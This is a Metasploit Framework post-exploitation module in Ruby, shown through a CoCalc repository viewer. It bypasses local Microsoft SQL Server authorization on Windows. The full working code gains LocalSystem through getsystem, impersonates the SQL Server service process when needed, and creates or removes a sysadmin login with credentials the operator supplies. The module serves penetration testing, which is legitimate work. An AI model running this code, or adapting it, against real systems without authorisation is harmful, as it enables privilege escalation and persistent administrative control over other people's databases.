Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/mssql_local_auth_bypass.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Post::Windows::MSSQL
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
15
'Description' => %q{
16
When this module is executed, it can be used to add a sysadmin to local
17
SQL Server instances. It first attempts to gain LocalSystem privileges
18
using the "getsystem" escalation methods. If those privileges are not
19
sufficient to add a sysadmin, then it will migrate to the SQL Server
20
service process associated with the target instance. The sysadmin
21
login is added to the local SQL Server using native SQL clients and
22
stored procedures. If no instance is specified then the first identified
23
instance will be used.
24
25
Why is this possible? By default in SQL Server 2k-2k8, LocalSystem
26
is assigned syadmin privileges. Microsoft changed the default in
27
SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.
28
However, this can be overcome by migrating to the SQL Server process.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],
32
'Platform' => [ 'win' ],
33
'SessionTypes' => [ 'meterpreter' ],
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
stdapi_sys_config_rev2self
38
]
39
}
40
},
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'SideEffects' => [CONFIG_CHANGES],
44
'Reliability' => []
45
}
46
)
47
)
48
49
register_options(
50
[
51
OptString.new('DB_USERNAME', [true, 'New sysadmin login', nil]),
52
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', nil]),
53
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
54
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', false])
55
]
56
)
57
end
58
59
def run
60
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
61
print_status("Running module against #{hostname} (#{session.session_host})")
62
63
# Set instance name (if specified)
64
instance = datastore['INSTANCE'].to_s
65
66
# Identify available native SQL client
67
get_sql_client
68
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
69
70
# Get LocalSystem privileges
71
system_status = get_system
72
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
73
begin
74
service = check_for_sqlserver(instance)
75
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
76
77
print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}")
78
instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip
79
80
if datastore['REMOVE_LOGIN']
81
remove_login(service, instance_name)
82
else
83
add_login(service, instance_name)
84
end
85
ensure
86
# attempt to return to original priv context
87
session.sys.config.revert_to_self
88
end
89
end
90
91
def add_login(service, instance_name)
92
add_login_status = add_sql_login(
93
datastore['DB_USERNAME'],
94
datastore['DB_PASSWORD'],
95
instance_name
96
)
97
98
unless add_login_status
99
raise 'Retry'
100
end
101
rescue RuntimeError => e
102
if e.message == 'Retry'
103
retry if impersonate_sql_user(service)
104
else
105
raise $ERROR_INFO
106
end
107
end
108
109
def remove_login(service, instance_name)
110
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
111
112
unless remove_status
113
raise 'Retry'
114
end
115
rescue RuntimeError => e
116
if e.message == 'Retry'
117
retry if impersonate_sql_user(service)
118
else
119
raise $ERROR_INFO
120
end
121
end
122
123
def add_sql_login(dbuser, dbpass, instance)
124
print_status("#{session_display_info}: Attempting to add new login \"#{dbuser}\"...")
125
query = mssql_sa_escalation(username: dbuser, password: dbpass)
126
127
# Get Data
128
add_login_result = run_sql(query, instance)
129
130
case add_login_result
131
when '', /new login created/i
132
print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
133
return true
134
when /already exists/i
135
fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
136
when /password validation failed/i
137
fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
138
else
139
print_error("#{session_display_info}: Unable to add login #{dbuser}")
140
print_error("#{session_display_info}: Database Error:\n #{add_login_result}")
141
return false
142
end
143
end
144
145
def remove_sql_login(dbuser, instance_name)
146
print_status("#{session_display_info}: Attempting to remove login \"#{dbuser}\"")
147
query = "sp_droplogin '#{dbuser}'"
148
149
remove_login_result = run_sql(query, instance_name)
150
151
# Display result
152
if remove_login_result.empty?
153
print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"")
154
return true
155
end
156
157
print_error("#{session_display_info}: Unabled to remove login #{dbuser}")
158
print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}")
159
return false
160
end
161
end
162
163